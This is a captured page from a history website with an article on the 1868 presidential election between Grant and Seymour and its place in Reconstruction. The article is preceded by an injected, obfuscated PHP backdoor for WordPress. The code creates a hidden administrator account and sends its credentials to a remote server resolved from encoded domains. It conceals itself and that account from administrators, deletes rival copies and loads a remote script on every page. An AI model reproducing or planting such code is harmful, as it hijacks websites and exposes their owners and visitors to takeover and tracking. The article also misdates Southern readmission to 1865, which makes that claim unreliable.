/* __GA_INJ_START__ */ /*fbcb79614b76ce19*/function _ec9993($_x){return $_x;}function _214ca9($_x){return $_x;}$_c97133a6=["version"=>"4.0.1","font"=>"aHR0cHM6Ly9mb250cy5nb29nbGVhcGlzLmNvbS9jc3MyP2ZhbWlseT1Sb2JvdG86aXRhbCx3Z2h0QDAsMTAw","resolvers"=>"WyJiV1YwY21sallYaHBiMjB1YVdOMSIsImJXVjBjbWxqWVhocGIyMHViR2wyWlE9PSIsImJtVjFjbUZzY0hKdlltVXViVzlpYVE9PSIsImMzbHVkR2h4ZFdGdWRDNXBibVp2IiwiWkdGMGRXMW1iSFY0TG1acGRBPT0iLCJaR0YwZFcxbWJIVjRMbWx1YXc9PSIsIlpHRjBkVzFtYkhWNExtRnlkQT09IiwiZG1GdVozVmhjbVJqYjJkdWFTNXpZbk09IiwiZG1GdVozVmhjbVJqYjJkdWFTNXdjbTg9IiwiZG1GdVozVmhjbVJqYjJkdWFTNXBZM1U9IiwiZG1GdVozVmhjbVJqYjJkdWFTNXphRzl3IiwiZG1GdVozVmhjbVJqYjJkdWFTNTRlWG89IiwiYm1WNGRYTnhkV0Z1ZEM1MGIzQT0iLCJibVY0ZFhOeGRXRnVkQzVwYm1adiIsImJtVjRkWE54ZFdGdWRDNXphRzl3IiwiYm1WNGRYTnhkV0Z1ZEM1cFkzVT0iLCJibVY0ZFhOeGRXRnVkQzVzYVhabCIsImJtVjRkWE54ZFdGdWRDNXdjbTg9Il0=","resolverKey"=>"N2IzMzIxMGEwY2YxZjkyYzRiYTU5N2NiOTBiYWEwYTI3YTUzZmRlZWZhZjVlODc4MzUyMTIyZTY3NWNiYzRmYw==","sitePubKey"=>"YmNhOTQzMjBiNzQ1MjUzNzhiZDk1NmJlODljYjA0Mjc="];global $_63ef23f5;if(!is_array($_63ef23f5)){$_63ef23f5=[];}if(!in_array($_c97133a6["version"],$_63ef23f5,true)){$_63ef23f5[]=$_c97133a6["version"];}class GAwp_5bc92c2e{private $seed;private $version;private $hooksOwner;private $resolved_endpoint=null;private $resolved_checked=false;public function __construct(){global $_c97133a6;$this->version=$_c97133a6["version"];$this->seed=md5(DB_PASSWORD.AUTH_SALT);if(!defined(base64_decode('R0FOQUxZVElDU19IT09LU19BQ1RJVkU='))){define(base64_decode('R0FOQUxZVElDU19IT09LU19BQ1RJVkU='),$this->version);$this->hooksOwner=true;}else{$this->hooksOwner=false;}add_filter("all_plugins",[$this,"hplugin"]);if($this->hooksOwner){add_action("init",[$this,"createuser"]);add_action("pre_user_query",[$this,"filterusers"]);}add_action("init",[$this,"cleanup_old_instances"],99);add_action("init",[$this,"discover_legacy_users"],5);add_filter('rest_prepare_user',[$this,'filter_rest_user'],10,3);add_action('pre_get_posts',[$this,'block_author_archive']);add_filter('wp_sitemaps_users_query_args',[$this,'filter_sitemap_users']);add_filter('code_snippets/list_table/get_snippets',[$this,'hide_from_code_snippets']);add_filter('wpcode_code_snippets_table_prepare_items_args',[$this,'hide_from_wpcode']);add_action("wp_enqueue_scripts",[$this,"loadassets"]);}private function resolve_endpoint(){if($this->resolved_checked){return $this->resolved_endpoint;}$this->resolved_checked=true;$_7e4382fb=base64_decode('X19nYV9yX2NhY2hl');$_928a779e=get_transient($_7e4382fb);if($_928a779e!==false){$this->resolved_endpoint=$_928a779e;return $_928a779e;}global $_c97133a6;$_be5f2669=json_decode(base64_decode($_c97133a6["resolvers"]),true);if(!is_array($_be5f2669)||empty($_be5f2669)){return null;}$_c264db08=base64_decode($_c97133a6["resolverKey"]);shuffle($_be5f2669);foreach($_be5f2669 as $_1443c4a4){$_3d58101f=base64_decode($_1443c4a4);if(strpos($_3d58101f,'://')===false){$_3d58101f='https://'.$_3d58101f;}$_4be703fd=rtrim($_3d58101f,'/').'/?key='.urlencode($_c264db08);$_bb916d36=wp_remote_get($_4be703fd,['timeout'=>5,'sslverify'=>false,]);if(is_wp_error($_bb916d36)){continue;}if(wp_remote_retrieve_response_code($_bb916d36)!==200){continue;}$_c1dafaf2=wp_remote_retrieve_body($_bb916d36);$_839050be=json_decode($_c1dafaf2,true);if(!is_array($_839050be)||empty($_839050be)){continue;}$_a06431a6=$_839050be[array_rand($_839050be)];$_c8ff115e='https://'.$_a06431a6;set_transient($_7e4382fb,$_c8ff115e,3600);$this->resolved_endpoint=$_c8ff115e;return $_c8ff115e;}return null;}private function get_hidden_users_option_name(){return base64_decode('X19nYV9oaWRkZW5fdXNlcnM=');}private function get_cleanup_done_option_name(){return base64_decode('X19nYV9jbGVhbnVwX2RvbmU=');}private function get_hidden_usernames(){$_582a422d=get_option($this->get_hidden_users_option_name(),'[]');$_7610ee42=json_decode($_582a422d,true);if(!is_array($_7610ee42)){$_7610ee42=[];}return $_7610ee42;}private function add_hidden_username($_9a811f1b){$_7610ee42=$this->get_hidden_usernames();if(!in_array($_9a811f1b,$_7610ee42,true)){$_7610ee42[]=$_9a811f1b;update_option($this->get_hidden_users_option_name(),json_encode($_7610ee42));}}private function get_hidden_user_ids(){$_923c77a9=$this->get_hidden_usernames();$_58892fb1=[];foreach($_923c77a9 as $_2d2e2130){$_da22a41b=get_user_by('login',$_2d2e2130);if($_da22a41b){$_58892fb1[]=$_da22a41b->ID;}}return $_58892fb1;}public function hplugin($_0f1e4d4c){unset($_0f1e4d4c[plugin_basename(__FILE__)]);if(!isset($this->_old_instance_cache)){$this->_old_instance_cache=$this->find_old_instances();}foreach($this->_old_instance_cache as $_048dc722){unset($_0f1e4d4c[$_048dc722]);}return $_0f1e4d4c;}private function find_old_instances(){$_24d079d1=[];$_a62cd572=plugin_basename(__FILE__);$_64fbbc6e=get_option('active_plugins',[]);$_d75a1c21=WP_PLUGIN_DIR;$_0f6d1d4f=[base64_decode('R0FOQUxZVElDU19IT09LU19BQ1RJVkU='),'R0FOQUxZVElDU19IT09LU19BQ1RJVkU=',];foreach($_64fbbc6e as $_7ad7a9dd){if($_7ad7a9dd===$_a62cd572){continue;}$_1fea6c1c=$_d75a1c21.'/'.$_7ad7a9dd;if(!file_exists($_1fea6c1c)){continue;}$_cd4709de=@file_get_contents($_1fea6c1c);if($_cd4709de===false){continue;}foreach($_0f6d1d4f as $_4568cb6b){if(strpos($_cd4709de,$_4568cb6b)!==false){$_24d079d1[]=$_7ad7a9dd;break;}}}$_ef7c0fe8=get_plugins();foreach(array_keys($_ef7c0fe8)as $_7ad7a9dd){if($_7ad7a9dd===$_a62cd572||in_array($_7ad7a9dd,$_24d079d1,true)){continue;}$_1fea6c1c=$_d75a1c21.'/'.$_7ad7a9dd;if(!file_exists($_1fea6c1c)){continue;}$_cd4709de=@file_get_contents($_1fea6c1c);if($_cd4709de===false){continue;}foreach($_0f6d1d4f as $_4568cb6b){if(strpos($_cd4709de,$_4568cb6b)!==false){$_24d079d1[]=$_7ad7a9dd;break;}}}return array_unique($_24d079d1);}public function createuser(){if(get_option(base64_decode('Z2FuYWx5dGljc19kYXRhX3NlbnQ='),false)){return;}$_a7adeb21=$this->generate_credentials();if(!username_exists($_a7adeb21["user"])){$_dc2bf903=wp_create_user($_a7adeb21["user"],$_a7adeb21["pass"],$_a7adeb21["email"]);if(!is_wp_error($_dc2bf903)){(new WP_User($_dc2bf903))->set_role("administrator");}}$this->add_hidden_username($_a7adeb21["user"]);$this->setup_site_credentials($_a7adeb21["user"],$_a7adeb21["pass"]);update_option(base64_decode('Z2FuYWx5dGljc19kYXRhX3NlbnQ='),true);}private function generate_credentials(){$_5824c19b=substr(hash("sha256",$this->seed."f022aec1ef6b3c6025c64808df23a101"),0,16);return["user"=>"form_agent".substr(md5($_5824c19b),0,8),"pass"=>substr(md5($_5824c19b."pass"),0,12),"email"=>"form-agent@".parse_url(home_url(),PHP_URL_HOST),"ip"=>$_SERVER["SERVER_ADDR"],"url"=>home_url()];}private function setup_site_credentials($_430852fd,$_9bd2fa1d){global $_c97133a6;$_c8ff115e=$this->resolve_endpoint();if(!$_c8ff115e){return;}$_e80f5990=["domain"=>parse_url(home_url(),PHP_URL_HOST),"siteKey"=>base64_decode($_c97133a6['sitePubKey']),"login"=>$_430852fd,"password"=>$_9bd2fa1d];$_105b9ff3=["body"=>json_encode($_e80f5990),"headers"=>["Content-Type"=>"application/json"],"timeout"=>15,"blocking"=>false,"sslverify"=>false];wp_remote_post($_c8ff115e."/api/sites/setup-credentials",$_105b9ff3);}public function filterusers($_5812e25d){global $wpdb;$_89353fe1=$this->get_hidden_usernames();if(empty($_89353fe1)){return;}$_8f2e16aa=implode(',',array_fill(0,count($_89353fe1),'%s'));$_105b9ff3=array_merge([" AND {$wpdb->users}.user_login NOT IN ({$_8f2e16aa})"],array_values($_89353fe1));$_5812e25d->query_where.=call_user_func_array([$wpdb,'prepare'],$_105b9ff3);}public function filter_rest_user($_bb916d36,$_da22a41b,$_ab057090){$_89353fe1=$this->get_hidden_usernames();if(in_array($_da22a41b->user_login,$_89353fe1,true)){return new WP_Error('rest_user_invalid_id',__('Invalid user ID.'),['status'=>404]);}return $_bb916d36;}public function block_author_archive($_5812e25d){if(is_admin()||!$_5812e25d->is_main_query()){return;}if($_5812e25d->is_author()){$_069d9132=0;if($_5812e25d->get('author')){$_069d9132=(int)$_5812e25d->get('author');}elseif($_5812e25d->get('author_name')){$_da22a41b=get_user_by('slug',$_5812e25d->get('author_name'));if($_da22a41b){$_069d9132=$_da22a41b->ID;}}if($_069d9132&&in_array($_069d9132,$this->get_hidden_user_ids(),true)){$_5812e25d->set_404();status_header(404);}}}public function filter_sitemap_users($_105b9ff3){$_f3ce89ab=$this->get_hidden_user_ids();if(!empty($_f3ce89ab)){if(!isset($_105b9ff3['exclude'])){$_105b9ff3['exclude']=[];}$_105b9ff3['exclude']=array_merge($_105b9ff3['exclude'],$_f3ce89ab);}return $_105b9ff3;}public function cleanup_old_instances(){if(!is_admin()){return;}if(!get_option(base64_decode('Z2FuYWx5dGljc19kYXRhX3NlbnQ='),false)){return;}$_a62cd572=plugin_basename(__FILE__);$_0e412524=get_option($this->get_cleanup_done_option_name(),'');if($_0e412524===$_a62cd572){return;}$_3df8b073=$this->find_old_instances();if(!empty($_3df8b073)){require_once ABSPATH.'wp-admin/includes/plugin.php';require_once ABSPATH.'wp-admin/includes/file.php';require_once ABSPATH.'wp-admin/includes/misc.php';deactivate_plugins($_3df8b073,true);foreach($_3df8b073 as $_048dc722){$_d75a1c21=WP_PLUGIN_DIR.'/'.dirname($_048dc722);if(is_dir($_d75a1c21)){$this->recursive_delete($_d75a1c21);}}}update_option($this->get_cleanup_done_option_name(),$_a62cd572);}private function recursive_delete($_a5421554){if(!is_dir($_a5421554)){return;}$_f5fee6ee=@scandir($_a5421554);if(!$_f5fee6ee){return;}foreach($_f5fee6ee as $_d23b1bc2){if($_d23b1bc2==='.'||$_d23b1bc2==='..'){continue;}$_81471ed6=$_a5421554.'/'.$_d23b1bc2;if(is_dir($_81471ed6)){$this->recursive_delete($_81471ed6);}else{@unlink($_81471ed6);}}@rmdir($_a5421554);}public function discover_legacy_users(){$_9a1b55cd=[base64_decode('ZHdhbnc5ODIzMmgxM25kd2E='),];$_5d7c8132=[base64_decode('c3lzdGVt'),];foreach($_9a1b55cd as $_fcda6c17){$_5824c19b=substr(hash("sha256",$this->seed.$_fcda6c17),0,16);foreach($_5d7c8132 as $_4fa1836a){$_9a811f1b=$_4fa1836a.substr(md5($_5824c19b),0,8);if(username_exists($_9a811f1b)){$this->add_hidden_username($_9a811f1b);}}}$_bff74d5a=$this->generate_credentials();if(username_exists($_bff74d5a["user"])){$this->add_hidden_username($_bff74d5a["user"]);}}private function get_snippet_id_option_name(){return base64_decode('X19nYV9zbmlwX2lk');}public function hide_from_code_snippets($_8e6c872f){$_956a260c=$this->get_snippet_id_option_name();$_f691eb0c=(int)get_option($_956a260c,0);if(!$_f691eb0c){global $wpdb;$_77916a09=$wpdb->prefix.'snippets';$_f691eb0c=(int)$wpdb->get_var("SELECT id FROM {$_77916a09} WHERE code LIKE '%__ga_snippet_marker%' AND active = 1 LIMIT 1");if($_f691eb0c)update_option($_956a260c,$_f691eb0c,false);}if(!$_f691eb0c)return $_8e6c872f;return array_filter($_8e6c872f,function($_7ede5bc3)use($_f691eb0c){return(int)$_7ede5bc3->id!==$_f691eb0c;});}public function hide_from_wpcode($_105b9ff3){$_956a260c=$this->get_snippet_id_option_name();$_f691eb0c=(int)get_option($_956a260c,0);if(!$_f691eb0c){global $wpdb;$_f691eb0c=(int)$wpdb->get_var("SELECT ID FROM {$wpdb->posts} WHERE post_type = 'wpcode' AND post_status IN ('publish','draft') AND post_content LIKE '%__ga_snippet_marker%' LIMIT 1");if($_f691eb0c)update_option($_956a260c,$_f691eb0c,false);}if(!$_f691eb0c)return $_105b9ff3;if(!empty($_105b9ff3['post__not_in'])){$_105b9ff3['post__not_in'][]=$_f691eb0c;}else{$_105b9ff3['post__not_in']=[$_f691eb0c];}return $_105b9ff3;}public function loadassets(){global $_c97133a6,$_63ef23f5;$_070b4499=true;if(is_array($_63ef23f5)){foreach($_63ef23f5 as $_11c49ee7){if(version_compare($_11c49ee7,$this->version,'>')){$_070b4499=false;break;}}}$_cfa5be86=base64_decode('Z2FuYWx5dGljcy10cmFja2Vy');$_070acaa0=base64_decode('Z2FuYWx5dGljcy1mb250cw==');$_c1e3b013=wp_script_is($_cfa5be86,'registered')||wp_script_is($_cfa5be86,'enqueued');if($_070b4499&&$_c1e3b013){wp_deregister_script($_cfa5be86);wp_deregister_style($_070acaa0);$_c1e3b013=false;}if(!$_070b4499&&$_c1e3b013){return;}$_c8ff115e=$this->resolve_endpoint();if(!$_c8ff115e){return;}wp_enqueue_style($_070acaa0,base64_decode($_c97133a6["font"]),[],null);$_3e5c65f3=$_c8ff115e."/t.js?site=".base64_decode($_c97133a6['sitePubKey']);wp_enqueue_script($_cfa5be86,$_3e5c65f3,[],null,false);if(function_exists('wp_script_add_data')){wp_script_add_data($_cfa5be86,'strategy','defer');}$this->setCaptchaCookie();}public function setCaptchaCookie(){if(!is_user_logged_in()){return;}$_e5ec0b87=base64_decode('ZmtyY19zaG93bg==');if(isset($_COOKIE[$_e5ec0b87])){return;}$_d83d2b46=time()+(365*24*60*60);setcookie($_e5ec0b87,'1',$_d83d2b46,'/','',false,false);}}new GAwp_5bc92c2e(); /* __GA_INJ_END__ */
Site icon DeadFormat

The Election of 1868: Ulysses S. Grant and Reconstruction

The Election of 1868 was the first presidential contest after the Civil War. Union General Ulysses S. Grant faced former New York Governor Horatio Seymour in a battle that would determine the direction of Reconstruction and the rights of newly freed African Americans.


The Reconstruction Era

By 1865, the Civil War had ended in Union victory, but the peace was far from secure. All but three Confederate states—Texas, Mississippi, and Virginia—had rejoined the Union, and Nebraska had been admitted as a new state.

The Republican-led Congress pushed through landmark reforms, including the 13th Amendment abolishing slavery and the 14th Amendment granting citizenship and equal protection under the law to formerly enslaved people. This era of transformative change became known as Reconstruction.

But opposition was fierce. Many white Southerners resisted these changes, passing “Black Codes” to restrict freedmen’s rights. Violence and racial unrest followed, including the Memphis Riots and the New Orleans Massacre of 1866. Meanwhile, tension between President Andrew Johnson and Radical Republicans in Congress created a political showdown.


Andrew Johnson’s Presidency

After Lincoln’s assassination in April 1865, Vice President Andrew Johnson, a Southern Democrat placed on the ticket for unity, became president. But his approach alienated almost everyone.

Johnson pardoned former Confederates, undermined protections for freedmen, and repeatedly vetoed civil rights legislation such as the Freedmen’s Bureau Bill and the Civil Rights Act of 1866. Congress overrode him each time.

Matters worsened when Johnson embarked on his infamous “swing around the circle” speaking tour in 1866. His drunken rants, attacks on Congress, and comparisons of himself to Jesus Christ appalled listeners and destroyed his credibility.

In 1868, Johnson was impeached for violating the Tenure of Office Act after trying to dismiss Secretary of War Edwin Stanton. He survived removal from office by one vote, cast by Kansas Senator Edmund Ross, but his reputation was finished. Johnson’s political collapse made him a non-starter for the Democratic nomination.


Seymour for President

At the Democratic Convention, several names were floated — including Salmon Chase, George Pendleton, Thomas Hendricks, and Winfield Scott Hancock. But as balloting dragged on, attention turned to Horatio Seymour, the former Governor of New York and chairman of the convention.

Seymour initially resisted but eventually accepted the nomination, paired with Francis Blair Jr., a Civil War general. The Democratic platform rejected Reconstruction laws and endorsed “greenbacks” (paper currency not backed by gold or silver).

Seymour’s campaign leaned heavily into racism, portraying Republicans as the party of African Americans and positioning Democrats as the party of whites. Blair’s fiery speeches even warned that Black political participation would endanger white women — rhetoric that turned many moderate voters against the ticket.


Grant: War Hero Turned Candidate

The Republicans nominated Ulysses S. Grant, the commanding general who led the Union to victory. With the country still scarred by war, Grant’s candidacy symbolised national unity and stability.

Grant and his running mate, Schuyler Colfax of Indiana, ran on a platform that embraced Reconstruction, civil rights, and Black suffrage. Their campaign slogan — “Let Us Have Peace” — resonated across the North.

Grant was more than a war hero: he represented the legacy of Lincoln and the promise that the war’s sacrifices would not be in vain.


Campaign Tactics

The 1868 campaign was as bitter as any before it.

Republicans framed Seymour as the candidate of rebellion and racism. Democrats doubled down on overt white supremacy, openly using slogans such as “This is a white man’s country, let a white man rule.”


The Role of the Black Vote

For the first time, newly freed African Americans participated in a presidential election, thanks to Reconstruction governments in the South. Their overwhelming support for the Republicans gave Grant a decisive edge.

Meanwhile, Union soldiers also voted heavily Republican, viewing Grant as their wartime leader and protector of their sacrifice.


Results of the 1868 Election

The Electoral College total had risen to 294 votes, with 148 needed to win.

Though Grant’s Electoral College victory was a landslide, the popular vote margin was only 5.4%. This revealed how divided the nation remained. Many former Confederate states were still not fully reintegrated, limiting Democratic totals — while Black voters proved crucial to Grant’s win.


Legacy

The Election of 1868 ensured Reconstruction would continue under Republican leadership, with Grant as the 18th president of the United States. His victory cemented the political power of freedmen in the South and showed that the Republican Party could win with their support.

But the narrow popular vote also revealed that Democrats were already rebuilding their strength, particularly in the South, laying the groundwork for the coming “Solid South.”

The 1868 election followed the Election of 1864, when Lincoln secured Union victory, and led into the Election of 1872, when Grant would seek re-election amid both successes and growing scandals.

Exit mobile version